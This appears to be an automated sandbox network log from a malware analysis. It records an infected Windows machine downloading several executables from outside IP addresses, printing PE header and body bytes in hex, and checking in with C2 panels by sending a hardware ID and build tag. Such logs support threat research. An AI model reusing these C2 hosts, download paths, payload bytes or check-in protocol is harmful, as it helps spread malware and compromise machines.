Dec 27, 2024 08:50:44.085819006 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 08:50:45.477897882 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:50:44 GMT Content-Type: application/octet-stream Content-Length: 5242880 Last-Modified: Fri, 27 Dec 2024 07:41:34 GMT Connection: keep-alive ETag: "676e5a2e-500000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(P@@PtP@M$a$$ $$@.rsrc$$@.idata $$@frhnetpr@+$4+$@tbiteucnPO@.taggant0P"O@
Dec 27, 2024 08:50:45.477919102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:50:45.477941990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:50:45.477952957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:50:45.477969885 CET	896	IN	Data Raw: 56 f0 81 0e 5f ef 52 11 3a ef 56 0b 80 63 ed db 56 ef 5e c3 80 64 5f a0 c5 d8 71 0b 90 63 e5 8d 85 cd 70 be fa 8b 0c 94 cb 3e 89 0e 15 ef 6e 6c 1c 0d 71 94 cb 3e 75 6d 14 0e 71 94 cd 3e 89 0e 15 ef 65 11 5f ef 69 fe 86 64 5f a0 c5 d8 71 0b 0f 53 Data Ascii: V_R:VcV^d_qcp>nlq>umq>e_id_qSV{P-_V.T-_Vlz#CuVp>uo#)wausA{qOmmpb`c{qU`>giI}sA{qOG&xpbWV{Nm8{q
Dec 27, 2024 08:50:45.477992058 CET	1236	IN	Data Raw: 41 4b 2c 94 56 ee 7f 06 8e 7a ea 16 21 53 05 82 56 7b ea ce 2a fe b1 e1 4a d3 5d 44 93 7b 21 97 40 2f e2 f0 56 28 94 0a b8 53 3a b9 42 4b 2c 94 a2 76 2c 14 1a 0f a1 d3 56 7b fe 9f cc c6 89 06 92 7a 89 df 44 7b 71 0b 25 f2 fe 5d d0 6d fe 89 ae 0f Data Ascii: AK,Vz!SV{J]D{!@/V(S:BK,v,V{zD{q%]mVpb>]-{`CzqtU{qGV{n-GKVsl=rkD{q]pviU[{>d_qJ@ViUasSV{BSV{*JpN!@/Vmq>jNzq
Dec 27, 2024 08:50:45.478005886 CET	1236	IN	Data Raw: 56 28 7f 15 98 0f a1 d3 56 7b fd 8b 90 fb b7 81 06 39 71 94 a1 6d e7 cf 55 53 e5 86 56 7b e4 9d cc e6 ad 0e 56 ef 65 ec 42 4b 2c 94 bf 64 5f a0 c5 d8 71 93 a1 6f e7 cf 55 53 05 89 56 7b ec 16 65 7b e4 7d 46 ff 8a 92 56 7b ea 36 a1 64 71 94 d0 40 Data Ascii: V(V{9qmUSV{VeBK,d_qoUSV{e{}FV{6dq@>XW!W={W{y8q@V5<rltvqk^Adqm@pbVVpayUSV{-VdM{pb>id_8q,W{S/
Dec 27, 2024 08:50:45.478018999 CET	1236	IN	Data Raw: d0 6d fe bd d1 40 fe 81 83 cd 70 be 62 8a 0c 94 ae c7 56 d3 56 cd 70 be fa 8b 0c 94 d3 e6 95 95 a2 73 e4 ce 3a 53 d5 8a 56 7b e6 cc 55 53 cd 8d 56 7b ea ce 3a fe b1 e1 48 fe 7f e1 4c cd e4 4d 84 64 5f a0 c5 d8 71 0b 0f 53 f9 8a 56 7b e4 50 2d eb Data Ascii: m@pbVVps:SV{USV{:HLMd_qSV{P-jV.(-jVWdqmrqAGoV{>-fqd_(qy\|US%V{e>_VSd_qSwV@V.x.wjV,.iV.xmpbkM{q,W{S/._iVy
Dec 27, 2024 08:50:45.478173971 CET	1236	IN	Data Raw: 49 f0 75 0a 8e 73 31 6c 20 78 71 94 cd 7c ee 55 a1 74 e4 c7 2e fe aa e1 4e ca 21 97 40 2f e2 f0 56 f0 27 60 ca 7d 22 13 29 77 e4 99 cc 3c 69 d4 2e b7 6c 94 56 f2 68 11 15 ef 60 0b 87 63 ef 4a a1 73 22 c4 57 0e 3d 05 b2 7b 89 83 25 64 71 d0 d5 bf Data Ascii: Ius1l xq\|Ut.N!@/V'`}")w<i.lVh`cJs"W={%dqV{Oi 9U{qpVU{qsI-VShVd{qV{U^e{rV{JVK@V M@VUmsN*:ekO^PqwJVKi^PqrRi
Dec 27, 2024 08:50:45.478185892 CET	1236	IN	Data Raw: 55 7a 71 94 56 98 ad 02 b2 7b e6 d2 46 c5 ac 49 09 b7 a5 49 09 b7 a5 49 09 b7 a5 49 09 fe b1 e1 ae f0 29 9c d2 bb 81 4c 55 7a 71 94 56 fe aa e1 6e f8 3a 94 a2 18 3a 89 12 8a 0c 94 a1 7e cc 51 c4 d8 71 0b 84 7f 72 c4 52 f0 22 8c cd cb 69 0b 8c 73 Data Ascii: UzqV{FIIII)LUzqVn::~QqrR"isJxJ)"qr"nPqPfPqrR!isUxJI`,VVSV{VV{qlqy<x8q,WVSV{VV{qlqy,x8q,VS
Dec 27, 2024 08:50:45.597589016 CET	1236	IN	Data Raw: c0 00 71 94 80 d3 5d 44 93 7b 09 80 06 39 71 33 19 f6 0c 94 cd 2e 91 06 b2 7b ea de 2a f1 0c 94 2e ef 54 94 56 cd 09 80 06 39 71 ec 42 4b 2c 94 f3 b7 e6 f0 56 53 11 bb 56 7b ec 51 8d cd 09 80 06 39 71 ec 42 4b 2c 94 f3 77 e6 f0 56 53 29 bb 56 7b Data Ascii: q]D{9q3.{*.TV9qBK,VSV{Q9qBK,wVS)V{BK,V{.{{{qV]D{mqlDqt8q,GVSuV{SV{ql0q4s8q,VSV{QX,SVA{_{{qD{`s8q3
Dec 27, 2024 08:50:54.301598072 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 08:50:54.755693913 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:50:53 GMT Content-Type: application/octet-stream Content-Length: 3241472 Last-Modified: Fri, 27 Dec 2024 07:41:43 GMT Connection: keep-alive ETag: "676e5a37-317600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@172@Wke10e1 @.rsrc@.idata @guulvnfq**@wreswaohp1N1@.taggant01"T1@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49783	185.215.113.206	80	2976	C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:50:57.447298050 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 27, 2024 08:50:58.839445114 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 27, 2024 08:50:58.842928886 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 44 45 42 37 36 43 41 43 31 33 33 33 32 37 34 33 38 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 2d 2d 0d 0a Data Ascii: ------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="hwid"4BADEB76CAC13332743865------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="build"stok------IDBKFHJEBAAEBGDGDBFB--
Dec 27, 2024 08:50:59.305159092 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49937	185.215.113.43	80	3664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:52:05.388421059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:52:06.728801966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:52:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49944	185.215.113.43	80	3664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:52:08.361630917 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 27, 2024 08:52:09.772114992 CET	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 30 64 0d 0a 20 3c 63 3e 31 30 32 34 30 37 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 30 37 65 38 30 34 35 34 64 62 30 34 35 65 35 34 30 34 62 35 61 30 64 63 30 39 33 66 36 31 39 62 63 61 39 64 62 35 64 36 30 65 36 36 37 32 35 23 31 30 32 34 30 37 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 32 34 30 38 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 32 34 30 38 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 [TRUNCATED] Data Ascii: 30d <c>1024078001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e80454db045e5404b5a0dc093f619bca9db5d60e66725#1024079001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1024080001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1024081001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1024082001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1024083001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc56c8a0e5ebf5de04349025080d9#1024084001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1024085001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49949	31.41.244.11	80	3664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:52:09.896424055 CET	68	OUT	GET /files/kardanvalov88/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 27, 2024 08:52:11.220943928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:52:11 GMT Content-Type: application/octet-stream Content-Length: 1995776 Last-Modified: Tue, 24 Dec 2024 13:33:22 GMT Connection: keep-alive ETag: "676ab822-1e7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1e cd 3a 91 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 98 1c 00 00 da 01 00 00 00 00 00 ce b7 1c 00 00 20 00 00 00 c0 1c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 1e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 b7 1c 00 4b 00 00 00 00 c0 1c 00 c8 d7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1e 00 0c 00 00 00 39 b7 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL:P @ @K9 H.text `.rsrc@@.relocr@BHH8U6+(1`(:+(wGDY((**(0( 8E!<f8s 9&8s 9&8s 9&8s8s800000*00
Dec 27, 2024 08:52:11.220973015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2c 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: 0",****(~(s<(:t800**(0*0
Dec 27, 2024 08:52:11.220993996 CET	1236	IN	Data Raw: 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 22 00 14 a5 2c 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 Data Ascii: **",************************
Dec 27, 2024 08:52:11.221007109 CET	1236	IN	Data Raw: 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 ce 0a 00 06 2a 00 1a 28 ce 0a 00 06 2a 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: *((0************",****(
Dec 27, 2024 08:52:11.221023083 CET	1236	IN	Data Raw: 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 23 00 00 02 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 23 00 00 02 2a Data Ascii: *****"#"#****(00*****(0
Dec 27, 2024 08:52:11.221028090 CET	1236	IN	Data Raw: 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a Data Ascii: *0000**000((**(
Dec 27, 2024 08:52:11.221041918 CET	1236	IN	Data Raw: 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 ce 0a 00 06 2a 00 12 00 00 14 2a 00 00 00 1a 28 ce 0a 00 06 2a 00 03 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 Data Ascii: ((0****(0*****0000*0
Dec 27, 2024 08:52:11.221162081 CET	108	IN	Data Raw: 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a Data Ascii: **************
Dec 27, 2024 08:52:11.221173048 CET	1236	IN	Data Raw: 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 16 2a 00 00 00 1a 28 ce 0a 00 06 2a 00 13 Data Ascii: ********(00F0ZM00*****0
Dec 27, 2024 08:52:11.221185923 CET	1236	IN	Data Raw: 00 13 3f 00 3b 00 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 ce 0a 00 06 2a 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 Data Ascii: ?;****(*****0******(*(
Dec 27, 2024 08:52:11.340815067 CET	1236	IN	Data Raw: 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: *********(********(0*Sf<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49965	185.215.113.43	80	3664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:52:17.184530020 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 34 30 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1024078001&unit=246122658369
Dec 27, 2024 08:52:18.612056017 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:52:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49970	185.215.113.16	80	3664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:52:18.770443916 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 27, 2024 08:52:20.068833113 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:52:19 GMT Content-Type: application/octet-stream Content-Length: 1895424 Last-Modified: Fri, 27 Dec 2024 07:41:21 GMT Connection: keep-alive ETag: "676e5a21-1cec00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b4 00 00 00 00 00 00 00 10 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4b 00 00 04 00 00 5e e8 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 59 40 05 00 6d 00 00 00 00 30 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELYigK@@K^@Y@m0A d@.rsrc0t@.idata @v@ `+Px@ddxegoijP0Lz@tcrohkzxK@.taggant0K"@
Dec 27, 2024 08:52:20.068881989 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:52:20.068939924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:52:20.068977118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
